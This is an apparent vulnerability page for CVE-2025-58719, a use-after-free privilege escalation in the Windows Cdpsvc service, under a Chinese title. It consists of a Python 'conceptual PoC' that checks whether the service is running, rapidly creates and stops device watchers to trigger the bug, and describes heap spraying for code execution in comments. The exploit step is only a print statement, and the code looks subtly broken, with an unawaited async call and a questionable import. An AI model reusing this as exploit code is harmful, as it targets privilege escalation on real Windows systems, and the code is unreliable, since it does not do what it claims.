CVE-2025-58719 Windows Cdpsvc服务释放后使用本地权限提升漏洞

# CVE-2025-58719 - Cdpsvc Use After Free PoC (Conceptual) # Note: This is a conceptual PoC. Actual exploitation requires specific conditions. # Target: Microsoft Windows Cdpsvc Service import ctypes import subprocess import time # Step 1: Check if Cdpsvc service is running def check_service(): result = subprocess.run( ['sc', 'query', 'Cdpsvc'], capture_output=True, text=True ) return 'RUNNING' in result.stdout # Step 2: Trigger UAF condition via device platform API def trigger_uaf(): # Interact with Connected Devices Platform through COM/WinRT APIs # The UAF occurs when the service processes certain device events try: # Enumerate connected devices to trigger service activity from windows.devices.enumeration import DeviceInformation devices = DeviceInformation.find_all_async() # Rapidly create and destroy device watchers to trigger UAF for i in range(100): watcher = DeviceInformation.create_watcher() watcher.start() watcher.stop() del watcher return True except Exception as e: print(f"Trigger failed: {e}") return False # Step 3: Exploit UAF for privilege escalation def exploit_uaf(): # After triggering UAF, use heap spraying or token manipulation # to achieve privilege escalation print("Exploiting UAF in Cdpsvc for local privilege escalation...") # In real scenarios, this would involve: # - Heap spraying to control freed memory # - Replacing freed object with malicious data # - Triggering code execution through dangling pointer if __name__ == "__main__": if check_service(): if trigger_uaf(): exploit_uaf() else: print("Cdpsvc service is not running")